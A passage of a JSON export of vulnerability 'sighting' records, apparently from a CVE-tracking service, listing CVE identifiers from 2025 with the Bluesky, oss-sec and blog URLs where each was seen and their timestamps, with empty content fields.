"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45002", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lr75bbfubi2m", "content": "", "creation_timestamp": "2025-06-09T19:44:23.315031Z"}, {"uuid": "2cf8ee5b-ccf1-4286-9091-542c99bdab1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45489", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis5tleh2t", "content": "", "creation_timestamp": "2025-05-06T18:21:43.992605Z"}, {"uuid": "5e49f9d2-5520-4450-b0ab-a872700855e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45487", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis66lz524", "content": "", "creation_timestamp": "2025-05-06T18:21:45.655520Z"}, {"uuid": "3da3de4b-e7c8-43cd-864b-2f0b9a000b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45488", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis6irb22j", "content": "", "creation_timestamp": "2025-05-06T18:21:47.577118Z"}, {"uuid": "01dd234c-3c1d-4154-812d-822b42c6d8d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45250", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis6pk2k2j", "content": "", "creation_timestamp": "2025-05-06T18:21:48.790904Z"}, {"uuid": "b85f83a2-dd31-4624-b467-a21d3b214025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45490", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis6swtm2l", "content": "", "creation_timestamp": "2025-05-06T18:21:49.486588Z"}, {"uuid": "6f5a3a41-5a13-4cf5-8284-32621f22f8ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45492", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis6w75p2w", "content": "", "creation_timestamp": "2025-05-06T18:21:50.122663Z"}, {"uuid": "b9706d06-d422-4806-b8df-5ca6088715b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45491", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojis74ywh2w", "content": "", "creation_timestamp": "2025-05-06T18:21:51.386786Z"}, {"uuid": "a9e13fc2-b898-4cbb-8252-6968d9688ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lqplbfkpr32u", "content": "", "creation_timestamp": "2025-06-03T15:12:23.937003Z"}, {"uuid": "b76a1f61-912b-4213-8078-889ced2c7a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "0fe9f32d-923e-47e8-ba65-2203f5db2c51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45491", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lomdt3nutc2z", "content": "", "creation_timestamp": "2025-05-07T21:30:45.420886Z"}, {"uuid": "5a6994a2-19ef-4439-8158-0879c0742fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45514", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lomgxufzy22p", "content": "", "creation_timestamp": "2025-05-07T22:27:08.471793Z"}, {"uuid": "1eeab29a-f868-4fa5-836b-8acff7074e76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lomgxujgzs2p", "content": "", "creation_timestamp": "2025-05-07T22:27:09.035097Z"}, {"uuid": "18c8c71c-0d12-4be7-ad27-38978ededfcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lqkrn5uuss2f", "content": "", "creation_timestamp": "2025-06-01T17:23:07.232383Z"}, {"uuid": "e7d7e278-fc22-44bf-8b36-c47b383a566f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45855", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqpn6b3ztg2e", "content": "", "creation_timestamp": "2025-06-03T15:46:26.428730Z"}, {"uuid": "284021fe-9b53-4d0c-8426-ea7b3cba3a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4571", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrxamovwvo2q", "content": "", "creation_timestamp": "2025-06-19T09:48:21.254928Z"}, {"uuid": "e2a7bc18-4d31-4a65-8f44-a8324cb6f7ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45818", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loodjlw7a5j2", "content": "", "creation_timestamp": "2025-05-08T16:48:49.461431Z"}, {"uuid": "69eabe56-2950-4380-b48d-54deaf2c41c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45818", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loodjnawh7j2", "content": "", "creation_timestamp": "2025-05-08T16:48:51.002885Z"}, {"uuid": "7fb691ae-662c-4256-96f9-64505af7cb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45819", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loodkeflmy22", "content": "", "creation_timestamp": "2025-05-08T16:48:55.064802Z"}, {"uuid": "f2138be3-afb0-455d-8f8c-c10d53517a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45820", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loodtpyd7b22", "content": "", "creation_timestamp": "2025-05-08T16:50:08.704847Z"}, {"uuid": "df118c50-a075-42b4-99ce-90629cf08b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45787", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loot2vqd7l32", "content": "", "creation_timestamp": "2025-05-08T21:15:07.757980Z"}, {"uuid": "205c5313-0e16-4286-a55d-7abf893e6231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45797", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loot2zwpsb32", "content": "", "creation_timestamp": "2025-05-08T21:15:08.889251Z"}, {"uuid": "9af72b69-d662-47c7-93fc-5ef13fcf1d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45788", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loot2y4lhqy2", "content": "", "creation_timestamp": "2025-05-08T21:15:10.567183Z"}, {"uuid": "e805f4e9-8abc-4773-911b-d97b289e3fd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45790", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loot34hb6nh2", "content": "", "creation_timestamp": "2025-05-08T21:15:11.208325Z"}, {"uuid": "543318dc-6493-446c-91ff-0946b57360c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45789", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lootekokcjy2", "content": "", "creation_timestamp": "2025-05-08T21:15:21.819068Z"}, {"uuid": "3d784a1e-cac4-46b8-a6cc-a2a954722e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45787", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq2hhrk2l", "content": "", "creation_timestamp": "2025-05-08T22:32:19.068385Z"}, {"uuid": "cb0c2893-6fea-42d1-979b-1408bd3ea5eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45788", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq2ktox2n", "content": "", "creation_timestamp": "2025-05-08T22:32:19.661921Z"}, {"uuid": "2c91731e-18f6-48cb-abde-9628539e5040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45789", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq2v5hr2h", "content": "", "creation_timestamp": "2025-05-08T22:32:21.499242Z"}, {"uuid": "625c69a4-8197-4b5b-a184-92e7fb68d3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45797", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq33qdq2h", "content": "", "creation_timestamp": "2025-05-08T22:32:22.782199Z"}, {"uuid": "090cff8e-da6f-4252-bc6b-976bdaf74b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45790", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq3gbva2r", "content": "", "creation_timestamp": "2025-05-08T22:32:24.717210Z"}, {"uuid": "ebf0fc6b-061e-4072-a130-38ed61927de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45798", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3looxq3tyww2j", "content": "", "creation_timestamp": "2025-05-08T22:32:27.229893Z"}, {"uuid": "b350e7f5-dd35-4564-bba2-2c6e10be801e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://www.schneier.com/blog/archives/2025/06/new-linux-vulnerabilities.html", "content": "", "creation_timestamp": "2025-06-03T00:52:16.000000Z"}, {"uuid": "9c83bab1-b07b-4647-ba49-30021b54309c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3lqlaz7jzbx2y", "content": "", "creation_timestamp": "2025-06-01T21:58:13.720810Z"}, {"uuid": "411deb3c-ac4c-4dfa-9a73-95b6339a989d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/215", "content": "", "creation_timestamp": "2025-06-05T02:19:15.000000Z"}, {"uuid": "41b0bde9-601c-4cb4-9a8e-50a07e1eb193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45872", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsw64foci42i", "content": "", "creation_timestamp": "2025-07-01T16:55:59.182963Z"}, {"uuid": "7b977e03-ddf6-46f9-9aad-bf6b9e1d16c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "a8bb3fbc-c6e6-4c52-9e83-8147f575e62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45513", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lor2rslq2a24", "content": "", "creation_timestamp": "2025-05-09T18:32:21.456929Z"}, {"uuid": "4da22603-1db3-4a5a-a778-721cdfd2e663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "seen", "source": "https://bsky.app/profile/wagtail.org/post/3lor6c5xuko2t", "content": "", "creation_timestamp": "2025-05-09T19:35:07.718867Z"}, {"uuid": "039fbdab-6a35-4419-aba2-e52e0c816ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lorulqoaek2o", "content": "", "creation_timestamp": "2025-05-10T02:14:11.482672Z"}, {"uuid": "ea7ab334-2a04-45a6-ad33-aad4382b5cb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4573", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrdoqrgcdc2a", "content": "", "creation_timestamp": "2025-06-11T15:07:55.793564Z"}, {"uuid": "2a689b81-fd56-49cd-a836-8c0f3ab55221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lqlpry5frg2u", "content": "", "creation_timestamp": "2025-06-02T02:22:36.622415Z"}, {"uuid": "ad6539bb-4698-4d85-9775-3f9d18586edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45513", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/114483633307353967", "content": "", "creation_timestamp": "2025-05-10T12:53:32.127084Z"}, {"uuid": "efbe511c-2b7b-4da1-bc83-f377826a07fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4500", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lot5awmppo42", "content": "", "creation_timestamp": "2025-05-10T14:26:46.891418Z"}, {"uuid": "8877b416-aa52-4f6a-90bd-cb5e35c8cab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4501", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lot5baqsj3r2", "content": "", "creation_timestamp": "2025-05-10T14:27:47.924704Z"}, {"uuid": "c32d8ed4-7057-4ceb-be74-6d7e0a735f72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4502", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lot5bni5jbr2", "content": "", "creation_timestamp": "2025-05-10T14:28:31.785254Z"}, {"uuid": "4430dd7c-e369-4fd1-bdf6-f01603b85f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4500", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lot64guh3y2o", "content": "", "creation_timestamp": "2025-05-10T14:37:15.063391Z"}, {"uuid": "58ae3237-ba12-435a-a69c-592ee961028b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4503", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lot64h6owe2j", "content": "", "creation_timestamp": "2025-05-10T14:37:16.872841Z"}, {"uuid": "b151db8e-d57d-4410-bd1e-cca028b455a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4501", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lot64hferj2h", "content": "", "creation_timestamp": "2025-05-10T14:37:18.062838Z"}, {"uuid": "15552e1b-5419-44af-b0e0-1c75c3ac5cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4502", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lot64hjwv722", "content": "", "creation_timestamp": "2025-05-10T14:37:18.723495Z"}, {"uuid": "0948b3b7-8c50-4353-a5e8-56324ed68694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4504", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotad7vuphu2", "content": "", "creation_timestamp": "2025-05-10T15:16:59.257891Z"}, {"uuid": "8e9cf535-f597-43d5-aa18-ba8713b49f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4503", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotadn4gpwa2", "content": "", "creation_timestamp": "2025-05-10T15:17:34.958367Z"}, {"uuid": "80c604fa-c87a-415a-b959-258c13b7546e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4504", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotljxw2nv24", "content": "", "creation_timestamp": "2025-05-10T18:37:27.810665Z"}, {"uuid": "61cd4c2d-35ed-4470-a2b1-110d797571b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4505", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotljxzcsy2h", "content": "", "creation_timestamp": "2025-05-10T18:37:28.567630Z"}, {"uuid": "b57d04e6-7b92-427e-a9ef-554c7764c673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4506", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotljy4qyw22", "content": "", "creation_timestamp": "2025-05-10T18:37:29.173152Z"}, {"uuid": "fc59dbe3-f16f-4207-9827-3eb94a46791f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4507", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaq6vod2p", "content": "", "creation_timestamp": "2025-05-10T20:37:33.611975Z"}, {"uuid": "bb497c99-b2ef-4db2-a7b9-02849041ea24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4514", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaqhx7622", "content": "", "creation_timestamp": "2025-05-10T20:37:34.195279Z"}, {"uuid": "dea13eff-26d0-47d4-8e17-85d00162765a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4512", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaql7y32l", "content": "", "creation_timestamp": "2025-05-10T20:37:34.817025Z"}, {"uuid": "6dae1f6e-5a6d-47bd-8039-9e4fea120aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4510", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaqomob2j", "content": "", "creation_timestamp": "2025-05-10T20:37:35.452728Z"}, {"uuid": "9f4a4f12-1aff-406e-974a-3d7a0e77b064", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4513", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaqrykl2p", "content": "", "creation_timestamp": "2025-05-10T20:37:35.996627Z"}, {"uuid": "146ba259-737a-4c03-a0d2-00966ca25c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4508", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaqvb2d2p", "content": "", "creation_timestamp": "2025-05-10T20:37:36.560393Z"}, {"uuid": "b6b001ae-2087-4c93-8840-60a954d75829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4511", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsaqyj5f2r", "content": "", "creation_timestamp": "2025-05-10T20:37:37.145246Z"}, {"uuid": "4a4c3123-02ea-42a9-b465-23faae5b1296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4509", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lotsar3wfm2e", "content": "", "creation_timestamp": "2025-05-10T20:37:37.763501Z"}, {"uuid": "4a97cd9f-3bac-43b8-9574-0799d5c0f164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4506", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotd6u2gnaa2", "content": "", "creation_timestamp": "2025-05-10T21:32:07.992497Z"}, {"uuid": "81249279-4502-4f76-a19d-ab4961a79267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4505", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotd77oikkn2", "content": "", "creation_timestamp": "2025-05-10T21:32:09.151410Z"}, {"uuid": "11ea8358-40c4-4e35-888e-8347572f45e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4507", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotf5eeqwce2", "content": "", "creation_timestamp": "2025-05-10T21:33:55.970046Z"}, {"uuid": "dd004e23-3420-4544-9349-7af10f37bfaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4508", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotgpxwdnsj2", "content": "", "creation_timestamp": "2025-05-10T21:35:20.313290Z"}, {"uuid": "4f1040cb-c918-42c4-b1c3-8db8ef9aab55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4509", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3lotvkizoye2i", "content": "", "creation_timestamp": "2025-05-10T21:36:42.781357Z"}, {"uuid": "c5bbcc26-2649-41be-a03d-b5dc9dad45b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4509", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotkajaao6e2", "content": "", "creation_timestamp": "2025-05-10T21:38:04.635165Z"}, {"uuid": "beecb64e-71b1-452b-8f51-1f5bd92e639d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4510", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotlrrrmsdy2", "content": "", "creation_timestamp": "2025-05-10T21:39:06.969174Z"}, {"uuid": "0df58cc8-a630-4027-8f7e-3926c3a3f1ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4511", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotnfzv26tr2", "content": "", "creation_timestamp": "2025-05-10T21:40:11.328609Z"}, {"uuid": "aef33ba9-2126-4b43-bb33-980244f78f6c", "vulnerability_lookup_origin": 